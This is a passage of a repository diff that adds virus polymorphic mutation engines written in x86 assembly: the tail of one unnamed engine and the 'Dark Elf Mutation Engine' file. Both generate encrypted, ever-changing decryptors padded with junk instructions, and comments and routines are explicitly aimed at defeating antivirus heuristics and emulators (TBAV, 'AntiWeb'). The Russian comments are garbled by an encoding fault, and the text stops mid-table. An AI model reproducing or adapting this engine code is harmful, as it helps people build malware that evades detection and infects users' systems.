cmp B index_set,01
|
||||
if e mov B index_sub,1
|
||||
mov al,0e8
|
||||
or al,bl
|
||||
mov ah,81
|
||||
xchg ah,al
|
||||
stosw
|
||||
pop ax
|
||||
neg ax
|
||||
jmp short put_mov_b
|
||||
|
||||
pad_8: push ax ;Sub Procedure to Pad Between 1 and 8 bytes
|
||||
call get_rand_7
|
||||
inc ax
|
||||
jmp short padder
|
||||
|
||||
pad_10: push ax
|
||||
call get_rand_1f ;Sub Procedure to Pad Between 8 and 16 bytes
|
||||
or al,8
|
||||
padder: xchg cx,ax
|
||||
call more_junk
|
||||
pop ax
|
||||
ret
|
||||
|
||||
|
||||
more_junk:
|
||||
mov al,03
|
||||
call get_rand_b
|
||||
jnz mj0
|
||||
|
||||
mov B [offset code_jmp],083 ;Re-Enable Jumps
|
||||
mov ax,cx ;else normal filler junk (1 in 16)
|
||||
cmp ax,40
|
||||
if a mov al,40
|
||||
call get_rand_b
|
||||
xchg bx,ax
|
||||
call fill_jnk
|
||||
jmp short mj2
|
||||
|
||||
mj0: ;8 in 16 chance of some type of jump
|
||||
call code_jmp
|
||||
|
||||
|
||||
mj2: jcxz ret
|
||||
jmp short more_junk
|
||||
|
||||
|
||||
one_byte: ;GENERATES A ONE BYTE JUNK INSTRUCTION
|
||||
jcxz ret
|
||||
mov si,one_byters ;FROM one_byters TABLE
|
||||
mov al,length_1
|
||||
call get_rand_b
|
||||
add si,ax
|
||||
movsb
|
||||
dec cx
|
||||
dec bx
|
||||
ret
|
||||
|
||||
reg_op: call get_rand_7 ;ANY OP unused_reg16,reg16..
|
||||
sal al,3
|
||||
or al,3
|
||||
xchg dx,ax
|
||||
call get_unused_reg
|
||||
sal al,3
|
||||
mov dh,al
|
||||
call get_rand_7
|
||||
do_op: or dh,al
|
||||
or dh,0c0
|
||||
xchg dx,ax
|
||||
put_2: cmp bx,2
|
||||
jb one_byte
|
||||
stosw
|
||||
dec cx,2
|
||||
dec bx,2
|
||||
ret
|
||||
|
||||
|
||||
lea_reg:call get_rand_7 ;LEA unused_reg,[BP/BX/SI/DI]
|
||||
cmp al,6
|
||||
je lea_reg
|
||||
|
||||
xchg dx,ax
|
||||
call get_unused_reg
|
||||
sal al,3
|
||||
or al,dl
|
||||
mov ah,08d
|
||||
xchg ah,al
|
||||
|
||||
jmp short put_2
|
||||
|
||||
op_ax: call get_any_rand
|
||||
and al,8
|
||||
or al,5
|
||||
and ah,3
|
||||
shr ah,4
|
||||
or al,ah
|
||||
|
||||
put_3: cmp bx,3
|
||||
jb reg_op
|
||||
stosb
|
||||
call get_any_rand
|
||||
put_3b: stosw
|
||||
sub cx,3
|
||||
sub bx,3
|
||||
ret
|
||||
|
||||
mov_reg:call get_unused_reg ;MOV unused_reg16,xxxx
|
||||
or al,0b8
|
||||
jmp short put_3
|
||||
|
||||
|
||||
op_reg_im: ;cmp/add/sub/adc/sbb/or/xor/and reg16,imm16
|
||||
cmp bx,4
|
||||
jb op_ax
|
||||
call get_unused_reg
|
||||
mov ah,81
|
||||
xchg dx,ax
|
||||
call get_rand_7
|
||||
sal al,3
|
||||
or ax,dx
|
||||
xchg ah,al
|
||||
or ah,0c0
|
||||
stosw
|
||||
call get_any_rand
|
||||
stosw
|
||||
sub bx,4
|
||||
sub cx,4
|
||||
ret
|
||||
|
||||
|
||||
code_jmp:
|
||||
cmp cx,3
|
||||
jb ret
|
||||
|
||||
mov B [offset code_jmp],0c3 ;Disable Jumps.This ensures Unchained
|
||||
;(TBAV-J) and helps stops heuristics
|
||||
call get_any_rand ;else conditional jmp
|
||||
and ax,1f0f ;between 4 and 43 bytse jmp length
|
||||
add ah,4
|
||||
or al,70 ;conditional jmp instructions are 70
|
||||
;--> 7f
|
||||
push ax
|
||||
call get_rand_1f
|
||||
pop ax
|
||||
if z mov al,0e3
|
||||
xor bx,bx
|
||||
mov bl,ah
|
||||
|
||||
dec cx,2
|
||||
cmp bx,cx
|
||||
jb put_jmp
|
||||
mov bx,cx
|
||||
mov ah,bl
|
||||
|
||||
put_jmp:stosw
|
||||
|
||||
fill_jnk:
|
||||
or bx,bx
|
||||
jz ret
|
||||
|
||||
mov al,((offset binary - offset junk_tbl)/2)-1
|
||||
call get_rand_b
|
||||
add ax,ax
|
||||
add ax,offset junk_tbl
|
||||
xchg si,ax
|
||||
lodsw
|
||||
call ax
|
||||
jmp short fill_jnk
|
||||
|
||||
|
||||
pp_reg: ;generate PUSH reg / junk / POP reg
|
||||
cmp bx,3
|
||||
jb gen_int
|
||||
|
||||
lea ax,[bx-2]
|
||||
shr ax,1
|
||||
call get_rand
|
||||
xchg ax,dx
|
||||
call get_rand_7
|
||||
or al,50
|
||||
stosb
|
||||
dec cx
|
||||
dec bx
|
||||
push ax
|
||||
xchg dx,ax
|
||||
sub bx,ax
|
||||
push bx
|
||||
xchg bx,ax
|
||||
call fill_jnk
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
call binary
|
||||
jz use_same
|
||||
call get_unused_reg
|
||||
or al,50
|
||||
|
||||
use_same:
|
||||
or al,8
|
||||
stosb
|
||||
dec cx
|
||||
dec bx
|
||||
ret
|
||||
|
||||
|
||||
gen_int:cmp bx,4
|
||||
jb ret
|
||||
|
||||
call get_rand_2
|
||||
|
||||
add ax,ax
|
||||
add ax,offset int_tbl
|
||||
xchg si,ax
|
||||
lodsw
|
||||
mov dx,0cdb4
|
||||
xchg al,dl
|
||||
stosw
|
||||
xchg dx,ax
|
||||
xchg ah,al
|
||||
stosw
|
||||
sub cx,4
|
||||
sub bx,4
|
||||
ret
|
||||
|
||||
junk_tbl: dw offset op_reg_im
|
||||
dw offset op_reg_im
|
||||
dw offset op_reg_im
|
||||
dw offset gen_int
|
||||
dw offset gen_int
|
||||
dw offset pp_reg
|
||||
dw offset pp_reg
|
||||
dw offset reg_op
|
||||
dw offset reg_op
|
||||
dw offset lea_reg
|
||||
dw offset lea_reg
|
||||
dw offset mov_reg
|
||||
dw offset op_ax
|
||||
dw offset one_byte
|
||||
|
||||
binary: push ax
|
||||
mov al,1
|
||||
call get_rand_b
|
||||
pop ax
|
||||
ret
|
||||
|
||||
get_rand_2:
|
||||
mov al,2
|
||||
db 0a9
|
||||
|
||||
get_rand_7:
|
||||
mov al,7
|
||||
db 0a9
|
||||
|
||||
get_rand_1f:
|
||||
mov al,1f
|
||||
db 0a9
|
||||
|
||||
get_any_rand: ;return rnd number in AX between 0 and FFFE
|
||||
mov al,0fe
|
||||
|
||||
get_rand_b:
|
||||
cbw
|
||||
|
||||
get_rand: ;returns random number in AX between 0 and AX
|
||||
push cx,dx
|
||||
inc ax
|
||||
push ax
|
||||
in ax,40
|
||||
xchg cx,ax
|
||||
in ax,40
|
||||
rol ax,cl
|
||||
xchg cx,ax
|
||||
in ax,40
|
||||
xor ax,cx
|
||||
adc ax,1234
|
||||
org $-2
|
||||
last_rand dw 0AAAA
|
||||
mov last_rand,ax
|
||||
pop cx
|
||||
xor dx,dx
|
||||
cmp cx,1
|
||||
adc cx,0
|
||||
div cx
|
||||
xchg dx,ax
|
||||
or ax,ax
|
||||
pop dx,cx
|
||||
ret
|
||||
|
||||
one_byters: cmc ;15 1 byte junk instructions
|
||||
cld
|
||||
std
|
||||
in ax,dx
|
||||
in al,dx
|
||||
lahf
|
||||
cbw
|
||||
nop
|
||||
aaa
|
||||
aas
|
||||
daa
|
||||
das
|
||||
inc ax
|
||||
dec ax
|
||||
xlat
|
||||
|
||||
|
||||
int_tbl: dw 0116 ;AH=01,INT16: Check Keyboard Buffer..
|
||||
dw 0216 ;AH=02,INT16: Get Keyboard States..
|
||||
dw 4d21 ;AH=4D,INT21: Get Program Terminate Status..
|
||||
dw 4d21 ;AH=4D,INT21: Get Program Terminate Status..
|
||||
dw 0d10 ;AH=0D,INT10: Get Video Info..
|
||||
dw 0b21 ;AH=0B,INT21: Check Keyboard Buffer..
|
||||
dw 002a
|
||||
dw 002a
|
||||
|
||||
|
||||
clear_regs: cwd
|
||||
mov B index_reg,dl ;Clears Register Tables
|
||||
mov B key_reg,dl ;(All Regs Free)..
|
||||
mov B count_reg,dl
|
||||
ret
|
||||
|
||||
get_unused_reg: call get_rand_7 ;Return an Unused Register..
|
||||
test al,NOT tce_SP ;But _NOT_ SP, or AX.
|
||||
jz get_unused_reg
|
||||
cmp al,index_reg
|
||||
je get_unused_reg
|
||||
cmp al,count_reg
|
||||
je get_unused_reg
|
||||
cmp al,B key_reg
|
||||
je get_unused_reg
|
||||
ret
|
||||
|
||||
|
||||
;**********************************************
|
||||
;* The Encryptor (Built along with Decryptor) *
|
||||
;**********************************************
|
||||
encryptor: mov cx,1234
|
||||
org $-2
|
||||
enc_length dw 0
|
||||
|
||||
mov bx,1234
|
||||
org $-2
|
||||
enc_index dw 0
|
||||
|
||||
mov ax,1234
|
||||
org $-2
|
||||
enc_key dw 0
|
||||
|
||||
enc_cf: nop
|
||||
enc_loop: xor [bx],ax
|
||||
|
||||
enc_mod_op dw 0
|
||||
enc_mod_val dw 0
|
||||
|
||||
inc bx,2
|
||||
loop enc_cf
|
||||
ret
|
||||
|
||||
;****************************
|
||||
;* Data / Variables / Flags *
|
||||
;****************************
|
||||
|
||||
init_1 dw offset init_count
|
||||
init_2 dw offset init_key
|
||||
init_3 dw offset init_index
|
||||
|
||||
init_4 dw offset inc_index
|
||||
init_5 dw offset modify_key
|
||||
|
||||
;* The Below is A table of Values to Be Used To Choose *
|
||||
;* The Count Register, The Index Register, and The Reg *
|
||||
;* to save SP in During the Decryptor Loop *
|
||||
; BX BP SI DI ;This Table is used To Build
|
||||
index_tab_b: db 0,0,0,47,0,46,44,45 ;The Decryptor Instruction
|
||||
index_tab_c: db 0,0,0,7,0,0,4,5 ;Same As Above
|
||||
; SBB ADC XOR XOR ADD SUB
|
||||
enc_table: db 19, 11, 31, 31, 01, 29 ;The Decryptor Opcodes..
|
||||
|
||||
; AND OR TEST
|
||||
zero_test_a: db 21, 09,85
|
||||
|
||||
; SUB ;Opcodes to Modify the Key
|
||||
modify_table: db 0e8 ;Register
|
||||
; ADD XOR OR ;Opcode to get A value
|
||||
value_from_0: db 0c0,0f0,0c8 ;from 0.
|
||||
|
||||
loop_start dw 0 ;Postion for LOOP to Jump to..
|
||||
|
||||
index_num dw 0
|
||||
index_off db 0 ;OFFSET of INDEX reference (i.e: [SI+XX]).
|
||||
index_loc dw 0 ;location in ES of index reference set
|
||||
index_sub db 0 ;Was index_reg set using 0 the sub -value?
|
||||
|
||||
index_reg db 0 ;Table of Used Registers..
|
||||
count_reg db 0 ;used in GET_UNUSED_REG
|
||||
key_reg db 0
|
||||
index_set db 0
|
||||
|
||||
tce_flags dw 0 ;Engines Flags
|
||||
tce_delta dw 0 ;Delta Offset
|
||||
tce_begin dw 0 ;Beginning
|
||||
c_length dw 0
|
||||
end_tce:
|
||||
|
821
Engines/Virus.Win32.DarkElf.asm
Normal file
821
Engines/Virus.Win32.DarkElf.asm
Normal file
@ -0,0 +1,821 @@
|
||||
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
; ³ Dark Elf Mutation Engine [DEME] v1.1 CopyLeft (cl) MSTUdent 1996 ³
|
||||
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
;
|
||||
;¯®¤¯à®£à ¬¬ë :
|
||||
; DEME - á ¬ Mutation ¨ ¥áâì
|
||||
; Randomize - î§ ¥â ¯®àâ 40h
|
||||
; RND - AX = RND(65536)
|
||||
|
||||
PUSHSTATE
|
||||
IDEAL
|
||||
LOCALS @@
|
||||
DEME_MaxDecoderLen=1500
|
||||
proc DEME
|
||||
;<3B> à ¬¥âàë :
|
||||
;es:di - ¤à¥á ¡ãä¥à , ¢ ª®â®àë© ¡ã¤¥â § ¯¨á १ã«ìâ â
|
||||
; à §¬¥à_¡ãä¥à = à §¬¥à_¨á室®£®_ª®¤ + 1500
|
||||
;ds:si - ¤à¥á ª®¤ , ª®â®àë© ¥®¡å®¤¨¬® § è¨ä஢ âì
|
||||
;dx - ¤à¥á ¯à¨¢ï§ª¨ à áè¨ä஢騪 (¯®¤®¡® ORG xxxx)
|
||||
;bx - à §¬¥à ¨á室®£® ª®¤ (¢ ¡ ©â å)
|
||||
;‚®§¢à é ¥â :
|
||||
;cx - ¤«¨ ¯®«ã祮£® ª®¤ (¢ ¡ ©â å)
|
||||
pushf
|
||||
push bx di si ds
|
||||
push cs
|
||||
pop ds
|
||||
cld
|
||||
inc bx
|
||||
shr bx,1
|
||||
mov [DEME_CodeLen],bx
|
||||
mov [DEME_Origin],dx
|
||||
mov [DEME_BuffOffs],di
|
||||
call Randomize
|
||||
call DEME_ChooseRegs
|
||||
call DEME_GenProlog
|
||||
call DEME_GenCrypt
|
||||
call DEME_GenEpilog
|
||||
pop ds si
|
||||
call DEME_Encode
|
||||
mov cx,di
|
||||
pop di bx
|
||||
sub cx,di
|
||||
popf
|
||||
ret
|
||||
endp DEME
|
||||
|
||||
R_AX=00000000b
|
||||
R_CX=00000001b
|
||||
R_DX=00000010b
|
||||
R_BX=00000011b
|
||||
R_SP=00000100b
|
||||
R_BP=00000101b
|
||||
R_SI=00000110b
|
||||
R_DI=00000111b
|
||||
|
||||
M_AX=00000001b
|
||||
M_CX=00000010b
|
||||
M_DX=00000100b
|
||||
M_BX=00001000b
|
||||
M_SP=00010000b
|
||||
M_BP=00100000b
|
||||
M_SI=01000000b
|
||||
M_DI=10000000b
|
||||
M_INDEX=M_BX+M_SI+M_DI
|
||||
M_ALL=M_AX+M_CX+M_DX+M_BX+M_BP+M_SI+M_DI
|
||||
|
||||
DEME_ID db '[DEME] Dark Elf Mutation Engine v1.1',0
|
||||
DEME_CopyLeft db 'CopyLeft (cl) MSTUdent',0
|
||||
DEME_Date db ??date,0,??time,0
|
||||
|
||||
proc DEME_Encode near
|
||||
push ax bx cx dx si
|
||||
mov cx,[DEME_CodeLen]
|
||||
mov dx,[DEME_Key]
|
||||
@@1:
|
||||
lodsw
|
||||
xor ax,dx
|
||||
stosw
|
||||
add dx,[DEME_KeyAdd]
|
||||
loop @@1
|
||||
pop si dx cx bx ax
|
||||
ret
|
||||
endp DEME_Encode
|
||||
|
||||
proc DEME_ChooseRegs near
|
||||
push ax
|
||||
mov [DEME_MaskUsed],M_SP
|
||||
mov al,M_INDEX
|
||||
call DEME_GetAnyReg
|
||||
mov [DEME_RegIndex],ax
|
||||
mov al,M_ALL
|
||||
call DEME_GetAnyReg
|
||||
mov [DEME_RegCounter],ax
|
||||
mov al,M_ALL
|
||||
call DEME_GetAnyReg
|
||||
mov [DEME_RegKey],ax
|
||||
pop ax
|
||||
ret
|
||||
endp DEME_ChooseRegs
|
||||
|
||||
|
||||
proc DEME_GenProlog near
|
||||
push ax bx cx dx
|
||||
call DEME_GenRandomSeq
|
||||
call DEME_GenAntiWeb
|
||||
|
||||
mov bx,offset DEME_GenLoadIndex
|
||||
mov cx,offset DEME_GenLoadKey
|
||||
mov dx,offset DEME_GenLoadCounter
|
||||
|
||||
call DEME_MixRegs
|
||||
call DEME_GenRandomSeq
|
||||
call bx
|
||||
call DEME_GenRandomSeq
|
||||
call dx
|
||||
call DEME_GenRandomSeq
|
||||
call cx
|
||||
call DEME_GenRandomSeq
|
||||
|
||||
pop dx cx bx ax
|
||||
ret
|
||||
endp DEME_GenProlog
|
||||
|
||||
|
||||
proc DEME_GenAntiWeb
|
||||
push ax bx cx
|
||||
mov cl,[DEME_MaskUsed]
|
||||
test cl,M_AX
|
||||
je @@1
|
||||
mov al,050h
|
||||
stosb
|
||||
call DEME_GenRandomSeq
|
||||
@@1:
|
||||
or [DEME_MaskUsed],M_AX
|
||||
mov ax,41e4h
|
||||
stosw
|
||||
call DEME_GenRandomSeq
|
||||
mov ax,1100010010001000b
|
||||
stosw
|
||||
call DEME_GenRandomSeq
|
||||
mov ax,41e4h
|
||||
stosw
|
||||
call DEME_GenRandomSeq
|
||||
mov ax,1100010000110000b
|
||||
stosw
|
||||
mov al,01110101b
|
||||
stosw
|
||||
mov bx,di
|
||||
call DEME_GenRandomSeq
|
||||
mov ax,4cb4h
|
||||
stosw
|
||||
mov ax,21cdh
|
||||
stosw
|
||||
call DEME_GenRandomSeq
|
||||
mov ax,di
|
||||
sub ax,bx
|
||||
mov [es:bx-1],al
|
||||
|
||||
test cl,M_AX
|
||||
je @@2
|
||||
mov al,058h
|
||||
stosb
|
||||
call DEME_GenRandomSeq
|
||||
@@2:
|
||||
mov [DEME_MaskUsed],cl
|
||||
pop cx bx ax
|
||||
ret
|
||||
endp DEME_GenAntiWeb
|
||||
|
||||
|
||||
proc DEME_GenLoadIndex near
|
||||
push ax
|
||||
mov ax,[DEME_RegIndex]
|
||||
or al,10111000b
|
||||
stosb
|
||||
mov [DEME_AddrBeg],di
|
||||
stosw
|
||||
pop ax
|
||||
ret
|
||||
endp DEME_GenLoadIndex
|
||||
|
||||
proc DEME_GenLoadKey near
|
||||
push ax bx
|
||||
call RND
|
||||
mov bx,ax
|
||||
mov [DEME_Key],ax
|
||||
mov ax,[DEME_RegKey]
|
||||
call DEME_GenLoadReg16
|
||||
pop bx ax
|
||||
ret
|
||||
endp DEME_GenLoadKey
|
||||
|
||||
proc DEME_GenLoadCounter near
|
||||
push ax bx
|
||||
mov ax,[DEME_RegCounter]
|
||||
mov bx,[DEME_CodeLen]
|
||||
call DEME_GenLoadReg16
|
||||
pop bx ax
|
||||
ret
|
||||
endp DEME_GenLoadCounter
|
||||
|
||||
proc DEME_GenCrypt near
|
||||
push ax bx cx dx
|
||||
mov [DEME_LoopAddr],di
|
||||
|
||||
call DEME_GenRandomSeq
|
||||
call DEME_GenXorCmd
|
||||
|
||||
mov dx,offset DEME_GenIncIndex
|
||||
mov bx,offset DEME_GenAddKey
|
||||
mov cx,offset DEME_GenDecCounter
|
||||
call DEME_MixRegs
|
||||
call DEME_GenRandomSeq
|
||||
call bx
|
||||
call DEME_GenRandomSeq
|
||||
call dx
|
||||
call DEME_GenRandomSeq
|
||||
call cx
|
||||
call DEME_GenRandomSeq
|
||||
call DEME_GenCloseCycle
|
||||
call DEME_GenRandomSeq
|
||||
pop dx cx bx ax
|
||||
ret
|
||||
endp DEME_GenCrypt
|
||||
|
||||
proc DEME_GenXorCmd near
|
||||
push ax bx
|
||||
mov al,2eh
|
||||
stosb
|
||||
mov al,00110001b
|
||||
stosb
|
||||
mov bx,[DEME_RegIndex]
|
||||
cmp bx,R_BX
|
||||
jne @@1
|
||||
mov al,00000111b
|
||||
@@1:
|
||||
cmp bx,R_SI
|
||||
jne @@2
|
||||
mov al,00000100b
|
||||
@@2:
|
||||
cmp bx,R_DI
|
||||
jne @@3
|
||||
mov al,00000101b
|
||||
@@3:
|
||||
mov bx,[DEME_RegKey]
|
||||
shl bl,3
|
||||
or al,bl
|
||||
stosb
|
||||
pop bx ax
|
||||
ret
|
||||
endp DEME_GenXorCmd
|
||||
|
||||
proc DEME_GenIncIndex near
|
||||
push ax bx
|
||||
mov bx,[DEME_RegIndex]
|
||||
call RND
|
||||
and ax,3
|
||||
or al,al
|
||||
jne @@1
|
||||
mov al,01000000b
|
||||
or al,bl
|
||||
stosb
|
||||
stosb
|
||||
jmp @@Exit
|
||||
@@1:
|
||||
dec al
|
||||
jne @@2
|
||||
mov al,10000001b
|
||||
stosb
|
||||
mov al,11000000b
|
||||
or al,bl
|
||||
stosb
|
||||
mov ax,2
|
||||
stosw
|
||||
jmp @@Exit
|
||||
@@2:
|
||||
dec al
|
||||
jne @@3
|
||||
mov al,10000001b
|
||||
stosb
|
||||
mov al,11101000b
|
||||
or al,bl
|
||||
stosb
|
||||
mov ax,-2
|
||||
stosw
|
||||
jmp @@Exit
|
||||
@@3:
|
||||
call DEME_GetUnusedReg
|
||||
mov bx,2
|
||||
call DEME_GenLoadReg16
|
||||
mov bx,[DEME_RegIndex]
|
||||
mov bh,al
|
||||
shl bh,3
|
||||
mov al,00000001b
|
||||
stosb
|
||||
mov al,11000000b
|
||||
or al,bl
|
||||
or al,bh
|
||||
stosb
|
||||
@@Exit:
|
||||
pop bx ax
|
||||
ret
|
||||
endp DEME_GenIncIndex
|
||||
|
||||
proc DEME_GenAddKey near
|
||||
push ax bx
|
||||
mov bx,[DEME_RegKey]
|
||||
call RND
|
||||
mov [DEME_KeyAdd],ax
|
||||
push ax
|
||||
call RND
|
||||
xor ah,ah
|
||||
test al,00000100b
|
||||
je @@1
|
||||
neg [DEME_KeyAdd]
|
||||
mov ah,00101000b
|
||||
@@1:
|
||||
mov al,10000001b
|
||||
stosb
|
||||
mov al,11000000b
|
||||
xor al,ah
|
||||
or al,bl
|
||||
stosb
|
||||
pop ax
|
||||
stosw
|
||||
@@Exit:
|
||||
pop bx ax
|
||||
ret
|
||||
endp DEME_GenAddKey
|
||||
|
||||
proc DEME_GenDecCounter near
|
||||
push ax bx
|
||||
mov bx,[DEME_RegCounter]
|
||||
call RND
|
||||
and ax,3
|
||||
or al,al
|
||||
jne @@1
|
||||
mov al,01001000b
|
||||
or al,bl
|
||||
stosb
|
||||
jmp @@Exit
|
||||
@@1:
|
||||
dec al
|
||||
jne @@2
|
||||
mov al,10000001b
|
||||
stosb
|
||||
mov al,11000000b
|
||||
or al,bl
|
||||
stosb
|
||||
mov ax,-1
|
||||
stosw
|
||||
jmp @@Exit
|
||||
@@2:
|
||||
dec al
|
||||
jne @@3
|
||||
mov al,10000001b
|
||||
stosb
|
||||
mov al,11101000b
|
||||
or al,bl
|
||||
stosb
|
||||
mov ax,1
|
||||
stosw
|
||||
jmp @@Exit
|
||||
@@3:
|
||||
call DEME_GetUnusedReg
|
||||
mov bx,1
|
||||
call DEME_GenLoadReg16
|
||||
mov bx,[DEME_RegCounter]
|
||||
mov bh,al
|
||||
shl bh,3
|
||||
mov al,00101001b
|
||||
stosb
|
||||
mov al,11000000b
|
||||
or al,bl
|
||||
or al,bh
|
||||
stosb
|
||||
@@Exit:
|
||||
pop bx ax
|
||||
ret
|
||||
endp DEME_GenDecCounter
|
||||
|
||||
proc DEME_GenCloseCycle near
|
||||
push ax bx cx dx
|
||||
call RND
|
||||
and ax,3
|
||||
shl ax,1
|
||||
mov bx,ax
|
||||
call [DEME_Clos1Tbl+bx]
|
||||
call RND
|
||||
test al,1
|
||||
je @@1
|
||||
mov al,10011100b
|
||||
stosb
|
||||
call DEME_GenRandomSeq
|
||||
mov al,10011101b
|
||||
stosb
|
||||
@@1:
|
||||
call [DEME_Clos2Tbl+bx]
|
||||
call DEME_GenRandomSeq
|
||||
call DEME_ClosJmp
|
||||
call DEME_GenRandomSeq
|
||||
call DEME_ClosJmpShort
|
||||
call DEME_GenRandomSeq
|
||||
pop dx cx bx ax
|
||||
ret
|
||||
endp DEME_GenCloseCycle
|
||||
|
||||
DEME_Clos1Tbl dw offset DEME_Clos11
|
||||
dw offset DEME_Clos12
|
||||
dw offset DEME_Clos13
|
||||
dw offset DEME_Clos14
|
||||
|
||||
DEME_Clos2Tbl dw offset DEME_Clos21
|
||||
dw offset DEME_Clos22
|
||||
dw offset DEME_Clos21
|
||||
dw offset DEME_Clos21
|
||||
|
||||
proc DEME_Clos11 near
|
||||
push ax bx
|
||||
mov al,10000001b
|
||||
stosb
|
||||
mov ax,[DEME_RegCounter]
|
||||
or al,11111000b
|
||||
stosb
|
||||
xor ax,ax
|
||||
stosw
|
||||
pop bx ax
|
||||
ret
|
||||
endp DEME_Clos11
|
||||
|
||||
proc DEME_Clos12 near
|
||||
push ax bx
|
||||
mov al,10000001b
|
||||
stosb
|
||||
mov ax,[DEME_RegCounter]
|
||||
or al,11111000b
|
||||
stosb
|
||||
xor ax,ax
|
||||
inc ax
|
||||
stosw
|
||||
pop bx ax
|
||||
ret
|
||||
endp DEME_Clos12
|
||||
|
||||
proc DEME_Clos13 near
|
||||
push ax bx
|
||||
mov al,00001001b
|
||||
stosb
|
||||
mov ax,[DEME_RegCounter]
|
||||
mov ah,11000000b
|
||||
or ah,al
|
||||
shl al,3
|
||||
or al,ah
|
||||
stosb
|
||||
pop bx ax
|
||||
ret
|
||||
endp DEME_Clos13
|
||||
|
||||
proc DEME_Clos14 near
|
||||
push ax bx
|
||||
mov al,11110111b
|
||||
stosb
|
||||
mov ax,[DEME_RegCounter]
|
||||
or al,11000000b
|
||||
stosb
|
||||
xor ax,ax
|
||||
dec ax
|
||||
stosw
|
||||
pop bx ax
|
||||
ret
|
||||
endp DEME_Clos14
|
||||
|
||||
proc DEME_Clos21 near
|
||||
push ax
|
||||
mov al,01110100b
|
||||
stosb
|
||||
mov [DEME_JmpShort],di
|
||||
stosb
|
||||
pop ax
|
||||
ret
|
||||
endp DEME_Clos21
|
||||
|
||||
proc DEME_Clos22 near
|
||||
push ax
|
||||
mov al,01110010b
|
||||
stosb
|
||||
mov [DEME_JmpShort],di
|
||||
stosb
|
||||
pop ax
|
||||
ret
|
||||
endp DEME_Clos22
|
||||
|
||||
proc DEME_ClosJmp near
|
||||
push ax
|
||||
mov al,11101001b
|
||||
stosb
|
||||
mov ax,[DEME_LoopAddr]
|
||||
sub ax,di
|
||||
dec ax
|
||||
dec ax
|
||||
stosw
|
||||
pop ax
|
||||
ret
|
||||
endp DEME_ClosJmp
|
||||
|
||||
proc DEME_ClosJmpShort near
|
||||
push ax bx
|
||||
mov ax,di
|
||||
mov bx,[DEME_JmpShort]
|
||||
sub ax,bx
|
||||
dec ax
|
||||
mov [es:bx],al
|
||||
pop bx ax
|
||||
ret
|
||||
endp DEME_ClosJmpShort
|
||||
|
||||
proc DEME_GenEpilog near
|
||||
push ax bx dx
|
||||
call RND
|
||||
and ax,3fh
|
||||
inc ax
|
||||
@@1:
|
||||
call DEME_GenTrash
|
||||
dec ax
|
||||
jnz @@1
|
||||
mov bx,[DEME_AddrBeg]
|
||||
mov dx,di
|
||||
sub dx,[DEME_BuffOffs]
|
||||
add dx,[DEME_Origin]
|
||||
mov [es:bx],dx
|
||||
pop dx bx ax
|
||||
ret
|
||||
endp DEME_GenEpilog
|
||||
|
||||
|
||||
proc DEME_MixRegs near
|
||||
push ax
|
||||
call RND
|
||||
test al,1
|
||||
je @@1
|
||||
xchg bx,cx
|
||||
@@1:
|
||||
test al,2
|
||||
je @@2
|
||||
xchg cx,dx
|
||||
@@2:
|
||||
test al,4
|
||||
je @@3
|
||||
xchg bx,dx
|
||||
@@3:
|
||||
pop ax
|
||||
ret
|
||||
endp DEME_MixRegs
|
||||
|
||||
|
||||
proc Randomize near
|
||||
push ax
|
||||
in ax,40h
|
||||
mov [seed1],ax
|
||||
pop ax
|
||||
ret
|
||||
endp Randomize
|
||||
|
||||
proc RND near
|
||||
push dx
|
||||
mov ax,[seed]
|
||||
xor ax,[seed1]
|
||||
mul ax
|
||||
mov al,dl
|
||||
mov [seed],ax
|
||||
pop dx
|
||||
ret
|
||||
endp RND
|
||||
|
||||
|
||||
;ƒ¥¥à æ¨ï ª®¬ ¤
|
||||
|
||||
proc DEME_GenRandomSeq near
|
||||
;ƒ¥¥à¨â ªãçã ¬ãá®à
|
||||
push ax
|
||||
call RND
|
||||
and ax,0fh
|
||||
inc ax
|
||||
@@1:
|
||||
call DEME_GenTrash
|
||||
dec ax
|
||||
jnz @@1
|
||||
pop ax
|
||||
ret
|
||||
endp DEME_GenRandomSeq
|
||||
|
||||
proc DEME_GenTrash near
|
||||
;ƒ¥¥à¨â '¬ãá®àãî' ª®¬ ¤ã
|
||||
push ax bx
|
||||
call RND
|
||||
and ax,3
|
||||
shl ax,1
|
||||
mov bx,ax
|
||||
call [DEME_TrashTbl+bx]
|
||||
pop bx ax
|
||||
ret
|
||||
endp DEME_GenTrash
|
||||
|
||||
DEME_TrashTbl dw offset DEME_GenCmd1
|
||||
dw offset DEME_GenCmd2
|
||||
dw offset DEME_GenCmd3
|
||||
dw offset DEME_GenCmd4
|
||||
|
||||
proc DEME_GenCmd1 near
|
||||
;ƒ¥¥à¨â 1-¡ ©â®¢ãî «¥¢¥©èãî ª®¬ ¤ã ¨§¢à é îéãî AX
|
||||
ret
|
||||
push ax bx
|
||||
test [DEME_MaskUsed],M_AX
|
||||
jne @@Exit
|
||||
call RND
|
||||
and ax,7
|
||||
mov bx,ax
|
||||
mov al,[DEME_Cmds1+bx]
|
||||
stosb
|
||||
@@Exit:
|
||||
pop bx ax
|
||||
ret
|
||||
endp DEME_GenCmd1
|
||||
|
||||
DEME_Cmds1 db 00110111b ;aaa
|
||||
db 00111111b ;aas
|
||||
db 10011000b ;cbw
|
||||
db 00100111b ;daa
|
||||
db 00101111b ;das
|
||||
db 01001000b ;dec ax
|
||||
db 01000000b ;inc ax
|
||||
db 10011111b ;lahf
|
||||
|
||||
|
||||
proc DEME_GenCmd2 near
|
||||
;ƒ¥¥à¨â 1-®¯¥à ¤ãî ª®¬ ¤ã
|
||||
push ax bx
|
||||
call RND
|
||||
and ax,0fh
|
||||
mov bx,ax
|
||||
shl bx,1
|
||||
mov al,[DEME_Cmds2+bx]
|
||||
stosb
|
||||
mov bl,[DEME_Cmds2+bx+1]
|
||||
call DEME_GetUnusedReg
|
||||
or al,bl
|
||||
stosb
|
||||
pop bx ax
|
||||
ret
|
||||
endp DEME_GenCmd2
|
||||
|
||||
DEME_Cmds2 db 0d1h,11000000b ;rol
|
||||
